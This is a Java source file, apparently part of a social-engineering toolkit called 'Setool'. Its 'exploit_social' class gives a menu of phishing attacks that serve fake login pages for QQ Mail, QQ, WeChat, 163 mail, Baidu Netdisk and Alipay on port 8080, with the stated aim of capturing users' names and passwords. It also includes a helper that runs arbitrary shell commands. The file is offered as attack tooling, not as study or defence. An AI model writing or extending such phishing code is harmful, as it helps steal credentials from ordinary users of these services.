
import java.io.IOException;
import java.util.Scanner;
import java.io.BufferedReader;
import java.io.File;
import java.io.InputStreamReader;

public class exploit_social {
    public static void main(String[]args) throws Exception{
        /**
         * use social engnnering method to get users name and password
         * Payload:exploit_social
         */
        in() ;
    }
    public static void in() throws Exception{
        System.out.print("Setool-Main//Main Console//Exploit_Social//");
        Scanner input = new Scanner(System.in) ;
        String options = input.nextLine() ;
        exploit_social.run_command(options) ;
        input.close();  
        return ;
    }
    public static void run_command(String options) throws Exception , IOException {
        /* the command */
        String c1 = "use qqmail attack" ;
        String exit = new String("exit") ;
        String c2 = new String("show options") ;
        String c3 = new String("use qq attack") ;
        String c4 = new String("use wechat attack") ;
        String c5 = new String("use 163 attack") ;
        String c6 = new String("use baidu attack") ;

        if (options.equals(c1)){
            //use qqmail logon attack
            String show = "yes" ;
            setool.clear_work_path(show) ; //first,clear the work path
            /*start the http port 8080 */
            int port = 8080 ;
            String page = "./framework/qqmail/index.html" ;
            String close = "true" ;
            port_start.port_server(port, page , close);
            in() ;
            return ;
        }else if (options.equals(exit)){
            //return to the main console
            setool.run_main_function();   
            return ;
        }
        if (options.equals(c2)){
            //show all the project of the social engnnering
            File file = new File(exploit_social.class.getResource("config/exploit_social_options").getFile()) ;
            setool.read_logo(file);
            exploit_social.in();
            return ;
        }
        if (options.equals(c3)){
            //use qq logon attack
            String show = "no" ;
            setool.clear_work_path(show);
            int port = 8080 ;
            String page = "./framework/qq/index.html" ;
            String close = "true" ;
            port_start.port_server(port, page , close);
            exploit_social.in();
            return ;
        }if (options.equals(c4)){
            //use wechat logon attack
            String show = "no" ;
            setool.clear_work_path(show);
            int port = 8080 ; String page = "./framework/wechat/index.html" ;
            String close = "true" ;
            port_start.port_server(port, page , close);
            exploit_social.in();
            return ;
        }if (options.equals(c5)){
            //use 163 mail attack
            String show = "no" ;
            setool.clear_work_path(show);
            int port = 8080 ; String page = "./framework/163/index.html" ;
            String close = "true" ;
            port_start.port_server(port, page , close);
            exploit_social.in();
            return ;
        }if (options.equals(c6)){
            //use baidu network disk attack
            String show = "no" ;
            setool.clear_work_path(show);
            int port = 8080 ; String page = "./framework/pan.baidu/index.html" ;
            String close = "true" ;
            port_start.port_server(port, page , close);
            exploit_social.in();
            return ;
        }
        else if (options.equals("use alipay attack"))
        {
            //use alipay logon attack
            String show = "no" ;
            setool.clear_work_path(show);
            int port = 8080 ; String page = "./framework/alipay/index.html" ;
            String close = "true" ;
            port_start.port_server(port, page , close);
            exploit_social.in();
            return ;
        }
        else{
            in();
            return ; //return to the function : in()
        }
    }
    public static void shell1(String cmd) {
        String execution = cmd;             //run the shell command
        Process process = null;
        BufferedReader input = null;
        String user = "";
        try
        {
            process = Runtime.getRuntime().exec(execution);
            process.waitFor();
            int result = process.exitValue();     
            input = new BufferedReader(new InputStreamReader(process.getInputStream()));
            user = input.readLine();    
            System.out.println("Run Result:"+result);
            while ( input.readLine() != null)
            {
                System.out.println(user);
            }
        }catch (Exception e) {
            return ;
        }finally
       {
            //other optionings
       }
    }
}
